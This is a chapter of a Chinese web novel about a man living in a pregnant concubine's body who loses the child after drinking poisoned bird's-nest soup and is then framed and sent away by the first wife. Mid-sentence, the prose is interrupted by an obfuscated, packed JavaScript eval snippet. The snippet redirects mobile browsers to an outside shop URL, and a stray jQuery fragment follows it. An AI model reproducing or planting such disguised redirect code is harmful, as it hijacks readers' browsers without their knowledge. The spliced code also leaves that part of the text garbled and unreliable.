二太太海芳送燕窝来的那天，老梁正在蹲坑。
不是真正的蹲坑，是坐在一个雕花木桶上，木桶下面垫了层细沙，细沙下面是什么他不想知道。这是他穿越以来最无法接受的一件事，不是穿进了女人身体，不是怀了孕，是上厕所这件事——没有抽水马桶，没有手纸，有的是一盆水，一块布，还有娟儿站在外头随时候命的声音，偶尔隔着帘子问"太太要不要热水"，每次问他都觉得脸上一阵发烧。
他以前在公司开会开到一半溜去厕所，拿出手机刷五分钟新闻再出来，那是他一天里最放松的时刻。现在这个时刻变成了他最煎熬的时刻，主要是这件事在这具身体上发生得比以前频繁，自从有了那团坠痛，膀胱就跟着遭了殃，半夜要爬起来两三次，娟儿每次都要跟着，老梁每次都想说你去睡你的，但他不会说，因为他摸黑一个人去过一次，差点把脚踢进木桶里。
所以那天他坐在雕花木桶上，帘子外头忽然来了动静，娟儿的声音："太太，二太太来了，说是来探望您。"
老梁扫了一眼自己的处境，说："让她稍等片刻。"
然后他以这具身体有史以来最快的速度解决了问题，整理好衣裳，走出来，脸上什么事都没有，气定神闲地坐到了廊下的椅子上，理了理发间那支银簪，对娟儿说："请二太太进来。"
他做了二十年销售，这点场面切换的功夫还是有的。
海芳进来的时候穿了件嫩黄色的妆花袄，头发梳得一丝不苟，鬓边插着一支金镶红宝石的簪子，笑起来眼角两道细纹，整个人像一盆开得很妥帖的富贵花，既艳又稳，稳到让你觉得她随时都是这个样子，连睡觉可能都是这个样子。
后头跟着有容，端着一只食盒，低着头，步子放得很轻。
老梁对这个组合观察了一秒，心里给它归了个档：客户上门拜访，带着助理，助理拎着礼品。这种上门，有三种可能：纯社交维系感情、顺便打探消息、或者有目的来的，目的还没到说的时候。
他把三种可能摆在心里，脸上堆出一个合适的笑，站起来："二太太来了，快请坐。"
"三太太不用起身，"海芳把他按回椅子上，那双手的力道软中带稳，像棉花里包着根骨头，"你现在身子金贵，我来看看你，坐着坐着。"
娟儿端了茶出来，退到一边去。有容把食盒放在桌上，退到门边站着，低着头，老梁用余光扫了她一眼，那个低头的角度经过专门训练似的，不卑不亢，既不引人注目，又不是真的什么都看不见。
"我让厨房炖了一锅燕窝，补气血的，"海芳亲手揭开食盒，雪白的瓷碗，燕窝泡得透亮，上头飘着一层淡黄色的茶末，热气蒸上来，甜腻腻的香气扑过来，"你最近脸色不好，趁热喝一碗。"
老梁看着那碗燕窝，脑子里走了一遍。
他对海芳的观察积累了有一段时间了。这个人送东西是有规律的：第一次是陈皮，他病着的时候；第二次是银耳羹，有容端来的；这一次是燕窝，还是有容端来的。每一次出手都是补品，每一次都在平南天不在场的时候，每一次后头都跟着一套嘘寒问暖的话，话说得周到，却有一种周到过了头的感觉，像背过的台词，每个字都对，但你听着就是知道这不是即兴的。
但他分析来分析去，分析不出她有什么直接对他下手的动机。二太太的儿子已经站住了，在这府里根基稳，婉清肚子里这个孩子——如果是个女儿，对她没有威胁；就算是个儿子，也轮不到三太太的孩子越过二太太的去——华府的规矩在那儿，嫡庶有别。
他漏算了一件事，是他后来才拼出来的：海芳的儿子虽然名分上站住了，但那个儿子在京城读书，书没读好，在外头欠了一屁股账，债主已经找到南边来过一次，被平南天压下去了，但没压死，压下去的债迟早要还，还债的钱从哪来，要从这一房的份产里出。婉清肚子里的孩子若是生下来，嫡庶排序不变，但平南天对三太太的情分摆在那里，将来份产这笔账怎么分，就是一本海芳算不完的糊涂账。庶出的儿子哪怕排在后头，活着就是个数，不活着才是干干净净。
至于大太太妙静那边，老梁也是后来才想清楚的——妙静和海芳之间不是简单的嫡庶之分，两个人早年有过一笔私下的账，妙静扶过海芳的儿子在府里站稳，海芳在某些事上就要听妙静的话，这是一种说不出口但双方都清楚的默契。婉清在府里一天，妙静那本看不见的账里就有一笔未了的心病，因为婉清带进来的那些事，妙静隐约察觉，但摸不到底。赶走婉清，对妙静来说是釜底抽薪，对海芳来说是顺手消患，两个人一拍即合，才有了这碗燕窝。
所以老梁最后的判断是：这碗燕窝大概率是真心送的，或者说，是带着目的送的，但目的是"刷好人卡"，不是"下毒"。
这个判断是他做过的最大的一个错误。
他把那碗燕窝接过来，用汤匙搅了搅，看那层茶末沉下去，闻了闻，甜的，正常的燕窝气味，尝了一口，甜腻的胶质感，没有苦，没有涩，没有任何他在电视剧里见过的"放了药的食物应该有的异味"。他喝了下去，大半碗，连底下那几粒枸杞都吃了。
海芳坐在对面，笑着看他喝，那个笑的弧度从头到尾没变过，像定住了。
"好喝吗？"
"好喝，"老梁说，"二太太费心了。"
海芳又说了些话，问饮食，问睡眠，问陈大夫上次来是什么时候，每句话都接得上，老梁一边应着，一边用他做销售练出来的那双耳朵听话音，听了半天，听不出什么漏洞，就是闲话，就是家常。
有容在门边站着，全程没有说话，没有动，就那么站着，但老梁有一次转头去拿茶杯，余光里扫了一下有容，发现有容也在同一时间往他这边看了一眼，那眼神停了不到一息，然后收走了，快得像一根针落进水里，连个圈都没起。
老梁把那一眼记下来，没有动作。
海芳走了，有容跟着走，食盒端走了，空了的燕窝碗也端走了，院子里重新安静下来，只剩老梁坐在廊下，还有那股甜腻腻的燕窝香气，慢慢地散。
他坐了一会儿，觉得没什么问题，站起来进屋，把当天剩下的事情过了一遍——陈大夫交代的药喝了，份例的点心吃了，晚饭简单吃了半碗粥，然后洗漱，上床，闭上眼睛。
他睡着了。
他做梦了，梦见他在上海，坐在公司的茶水间里，桌上摆了一杯没喝完的美式，窗外是黄浦江，江上有船，船上有灯，他正想着今天那个客户的单子有没有可能在月底前签掉，然后他的手机响了，屏幕上显示的是他儿子的名字，他按了接听，还没来得及说话——
他被疼醒了。
不是一般的疼，是那种从来没有发生过的疼，是从小腹最深处往上冲的那种疼，冲上来的速度比他的意识快，他的意识还在梦里的茶水间，他的身体已经蜷起来了，两条腿本能地往肚子上收，额头上的冷汗一下子就出来了，把枕头打湿了一块。
他意识到发生了什么大概花了三秒钟。三秒钟里他从茶水间回到了这间铺了软垫的床上，回到了这具不是他的身体里，回到了那团他已经和它相处了将近三个月的坠痛——但今晚那个坠痛不是坠，是撕，是一刀一刀往里头绞，来了又退，退了又来，像潮水，但是烫的潮水，带着一种他从来没感受过的那种深处的、内脏层面的剧烈。
老梁是个男人，他经历过的最疼的事情是有一次打篮球骨折了，当时也算疼，但骨折是外头疼进来，这个是里头疼出来，完全不是一回事。他在那三秒钟里第一次真正理解了为什么女人生孩子会那么难熬——不是因为疼，是因为那个疼是从你身体最私密的地方发出来的，你找不到它，你摸不到它，你没法用什么物理手段去应对它，你只能被它摁在那里，接受。
"娟儿——"
他叫出声来，嗓子沙的，不像他平时的声音，更细，更尖，他自己都没认出来。
娟儿在外间的榻上睡着，那一声把她从榻上弹起来，他听见她脚碰到地板的声音，然后帘子掀开了，她端着蜡烛进来，蜡烛的光在她脸上乱晃，照出她眼睛里还没散尽的睡意，然后睡意消失了，她看见老梁蜷在床上，脸白得把帐子都照亮了，手死死地按着肚子，手背上青筋暴出来。
"太太！"她扑过来，蜡烛差点歪了，"太太您哪里不好——"
"陈大夫，"老梁咬着牙，每个字都是从牙缝里挤出来的，"去叫陈大夫，快，现在，马上。"
娟儿把蜡烛往桌上一放，冲出去了，老梁听见她砰地踹开了隔壁丫鬟的门，隔壁丫鬟睡得死，娟儿踹了两脚才有反应，然后是七零八落的脚步声，院子里有人跑起来，消失在夜里。
屋里重新安静了，只剩老梁一个人，和那盏娟儿留下来的蜡烛。
那根蜡烛燃着，火苗在夜风里微微晃，把屋顶的影子一伸一缩，老梁盯着那个影子，试着从里头找一个能转移注意力的东西——他以前出差酒店睡不着的时候会数天花板的格子，数到睡着，现在他试着数屋顶木头的纹路，数到第三根，又一阵绞痛上来，把他数的数全冲散了。
他把牙咬紧了，没有再叫。叫了也没用，人已经去了，叫了只是让自己的嗓子提前坏掉。
他低下头，眼睛落在自己的肚子上。隔着衣裳，什么也看不见，那个微微隆起的弧度还在，平整，安静，像什么都没发生过。但里面已经不对了，他知道，他不需要陈大夫来告诉他，他感觉得出来，那个他花了三个月才慢慢接受的分量，正在用一种他没办法阻止的方式，从他身体里撤走。
他想起那团气泡一样的蠕动，想起某天夜里他把手放在肚子上、那里传回来的一点轻微的弹性，想起他曾经对着那个弧度轻声说过一句"别怕，快了"。
他现在不知道"快了"是什么意思了。
陈大夫来的时候，老梁已经把第七阵绞痛撑过去了，他是数着的，第一阵到第七阵，中间最长的间隔是一炷香，最短的是他吸进去还没来得及吐出来那口气的工夫。陈大夫进来，把所有人赶出去，关上门，坐在床边，拿起他的手腕，三根手指搭上去，沉默。
老梁看着陈大夫的脸。
陈大夫这个人，他观察过，是那种见过很多事情的老大夫，脸上的表情平时是中性的，不喜不悲，像一张安静的纸。但那张纸现在有一道细微的折痕，在眉头，在两条眉毛之间，那道折痕不深，但它在那里。
老梁在那道折痕出现的一刻，就把结果猜到了。
陈大夫放开他的手，把嘴抿成一条线，俯身，声音压到最低："太太，胎气大损。"
老梁没有说话。
"今夜这阵绞痛……"陈大夫停了一下，那一停的工夫里，老梁感觉整间屋子都往下沉了一寸，"怕是……保不住了。"
保不住了。
这四个字说出来就消失了，消失得非常干净，屋里的蜡烛还在，影子还在一伸一缩，窗纸还是那张窗纸，什么都没有变，就是那四个字消失了，什么都没留下。
老梁坐在床上，没有哭，也没有说话，只是把手放回了肚子上，就是那个他放了很多次的动作，掌心按上去，感受那里的温度。
他是梁志超，四十七岁，在上海做了二十年销售，有一个儿子在上高中，这个孩子不是他的孩子，从来不是，他只是在这具身体里住了三个月，那个东西也只是在这具身体里住了三个月，他们是三个互相都不认识的人，在同一具身体里凑合了三个月。
按理说没什么好难受的。
但他就是难受。
他没办法解释这个难受，就是难受，就是他的掌心按在那里，那里越来越安静，他就越来越难受，就这样。
陈大夫给他煎了药，保命的，先把他这具身体稳住，别再出别的问题。老梁喝了，苦得他差点把刚才喝下去的那碗燕窝一起吐出来，但他忍住了，把那碗药一口一口喝完，把碗推开，靠在床头，闭上眼睛。
那一夜很长。
老梁睡不着，就那么靠着，听外头偶尔的虫鸣，听远处更夫梆子的声音，听娟儿在帘子外头守着、偶尔翻身的声音。蜡烛烧到一半，自己灭了，屋里黑下来，外头月亮把一块白光从窗纸缝里漏进来，斜斜的，落在他脚边。
他在那块白光里数了一会儿月光的纹路，数到天色开始泛白，才迷迷糊糊地睡过去了一小会儿，然后被鸡叫声叫醒。
天亮了，他又是婉清了，还住在华府的北院，还是平南天的三太太，那支银簪还在枕头边上，那包陈大夫的药还在桌上，什么都没有变。
唯一变了的，是那个他花了三个月才从"完全不能接受"慢慢变成"接受了"的分量，从他身体里消失了，肚子下面的那个微微隆起，再也撑不起来了。
他低头看了看，然后把被子往上拉了拉，盖住那里，翻过身，面朝着墙。
外头娟儿端着药汤进来，脚步轻得像踩在棉花上。
"太太，药好了。"
"放着吧。"
"太太……"
"放着。"
娟儿把药碗搁在床边的矮几上，没有走，就在那里站着，站了一会儿，老梁听见她吸了一下鼻子，那声音很轻，但他听见了。
他没有回头，盯着墙上那块抹灰留下的纹路，过了一会儿，开口，声音比预想中更平："你去跟厨房说，今天的饭不用备了，备一碗白粥就行，其他的不要。"
"是，"娟儿说，声音里有什么东西压着，"那奴婢先出去了。"
"嗯。"
娟儿出去了，门帘轻轻合上，院子里重新安静下来。老梁盯着那面墙，把手放在肚子上，就停在那里，不动。
那碗白粥后来凉了，他也没喝。
他只是想了一件事，想了很久：那碗燕窝里头，到底是什么药？
让孩子没了的药，不是一口吃下去立刻发作的那种，是那种缓的，进了身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900888|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
体像一根慢慢燃着的引信，等半夜他睡熟了，才点到了它该到的地方。那种药，要有人知道他在喝什么补药，知道他的身体情况，知道怎么配，知道配了放在哪里——这不是随手能做到的事。
他把海芳送燕窝来的那整个过程在脑子里重新过了一遍，过到有容端着食盒进来、退到门边、离开时往他这边看的那一眼。
那一眼。
他闭上眼睛，把那一眼放大了看，那不是关切，不是告别，是一种他现在才想明白的东西——是"我没有办法"。
有容知道那碗燕窝有问题，她进来的时候就知道，她端着那个食盒进来的时候就知道，但她没有办法阻止，所以她端进来了，然后在离开的时候往他这边看了一眼。那一眼不是在告诉他"小心"，是在告诉他"对不起"。
老梁把手从肚子上移开，握成拳，放在床上。
他现在比任何时候都更清楚地知道：这座华府，他待不下去了。问题只是，谁来把他赶走，用什么理由，在什么时候。
他把这几个问题放在心里，等着。
结果他没等多久。
三天后，大太太妙静来了。
来得很安静，没有提前通报，带着管家和账房先生，在院子里摆了椅子，请老梁出来坐。老梁出来坐了，把那本账摊开在他面前。
妙静坐在上首，今天穿了件素色的杭绸，头发梳得一丝不乱，整个人像一座山，安静地放在那里，底下有多深，你看不见，你只看见山。
"三太太，这是近半年你院里的用度账，有几笔数目，我来同你对一对。"
老梁翻开账，里头有几行他不太认得的字，旁边记着"三太太院里领用"，是药材名，数目不小。
"这几笔，"妙静的手指点在那几行上，指甲修得圆润，不长，按在纸面上，"都是安胎药材，前前后后小半年了，但领用的日期……"她顿了一下，"比你的喜脉日子早了整整两个月。"
屋里安静了一息。
然后妙静抬手，管家后退了一步，从身后让出来一个人。老梁认得这个人，是前几个月被调去厨房的一个婆子，姓周，以前在北院偶尔帮忙打杂，后来不知道为什么挪了地方。那个周婆子垂着手站在那里，眼睛没往老梁这边看，脸上有一种事先被嘱咐过、现在按着嘱咐说话的那种绷紧。
妙静说："让周妈妈说说。"
周婆子说话的声音很平，像背熟了的："奴婢在北院当差的时候，有一回深夜起夜，见三太太院里的月门开着，有一个男人的影子从里头出来，奴婢当时怕，没敢出声，后来想着也许是老爷，就没说，但老爷那晚……"她顿了一下，"那晚老爷不在府里。"
说完退到一边，头低下去了，再没抬起来。
妙静不紧不慢地又从账本旁边取出一样东西，搁在桌上，是一个油纸包，打开来，是几片干桂花，颜色暗了，花瓣皱缩，但那股香气还在，淡淡地散出来。
"这是在你梳妆台的抽屉里找到的，"妙静说，声音一贯那种平静，"桂花干。三太太从南边来，院子里也没有桂花树，这是谁送的，为何好好的花要留成这样，我不好猜测，只是……"她停了一停，"府里不兴这个。"
屋里安静了又一息。
这顶帽子现在不是一顶，是三顶叠在一起：安胎药提前两个月领，是"提前知道"；周婆子的证词，是"有外男进出"；那包干桂花，是"私相授受的信物"。单拎任何一顶出来都经不起细问，但三顶叠在一起，在这座府里、在平南天不在场的情况下，妙静只需要一句话就能把这件事定性——"三太太行事不检"，然后剩下的所有人都会沉默，都会当作没看见，都会觉得把她赶出去是理所当然的。
这就是妙静厉害的地方，她从来不用确凿的证据，她用的是让所有人觉得"大概就是这样"的空气。
他抬起头，和妙静对上了目光。那双眼睛里什么都有，又什么都没有，老梁对上那道目光的一刻，忽然想起他以前见过一种客户，什么都不说，把你的方案接过去，从头到尾翻一遍，然后还给你，只说"我们再研究研究"——那种客户最难缠，因为你根本猜不出他在想什么，你只知道你这一单大概率是黄了。
然后把账本合上，推回去，脸上什么表情都没有，声音也是平的：
"大太太，我病了这一场，记性差，这几笔账我真的记不起来了。若是账上有问题，恳请大太太帮我查清楚，是哪个丫头私自用了我院里的名目，我也好处置。"
妙静看了他很久，那道目光里有什么东西轻轻动了一下，像湖面被风划过，然后又平了。她没有拆穿他，也没有继续追，只是站起来，把那本账收了，说了最后一句话：
"三太太，孩子没了，你在府里养着，对谁都是个心结，老爷也难受。不如换个地方，清静清静，对谁都好。"
老梁听完，点了点头。
"大太太说得是。"
他说这五个字的时候，语气平，眼睛也平，就是说这五个字，没有多余的东西。妙静看了他最后一眼，带着人走了。
等她走远了，娟儿从屋里出来，站在院子里，看着他，不知道说什么，嘴张了张，又合上了。
老梁坐在廊下的椅子上，仰头看了一眼天，天是灰的，云层压得很低，和他穿越来那天一样的天色，也是这种灰，也是这种闷。他那天坐在公司厕所的马桶上，玩着手机，新闻里说南方有台风，他正想着晚上要不要加班，然后就不知道怎么到这里来了。
他低头看了看这双细白的手，再看了看这件绣了牡丹的衣裳，然后站起来，进屋，开始收拾东西。
包袱不大，换洗衣裳，几包药，还有那支并蒂莲银簪。银簪他单独用帕子裹了，压在衣裳最底下，压得严实，压到任何人拎起这个包袱、随手翻一翻都翻不到它的地方。
出门的时候，院子里的石榴树有两颗果子熟透了，红得要裂开，垂在枝头，沉甸甸的。老梁往那两颗果子上扫了一下，没有停，走出了院子。
走到华府的大门口，把式在外头等着，一辆素色的马车，一匹老马。老梁上了车，把那个包袱放在腿上，抱着，车夫甩了一下鞭，马车动了。
他没有回头。
不是因为不想，是因为没什么好看的，他在这里待了三个月，这里没有他的任何东西，他没有在这里留下任何东西，他只是路过了这里，然后被推着往前走了。
马车轱辘轱辘地往城南去，老梁靠着车厢的木壁，透过帘子缝看外头的街道，看着看着，发现街边有一个摊子在卖烤红薯，那个摊子冒着烟，隔着车帘他闻见了那股焦甜的香气，从鼻子一路往胃里去。
他已经很久没有吃过他想吃的东西了。
他把帘子放下来，闭上眼睛，想着等安顿下来了，如果有机会出门，他要找一个卖烤红薯的摊子，买一个，站在街边吃掉它。
就这一件事，先把这一件事想着。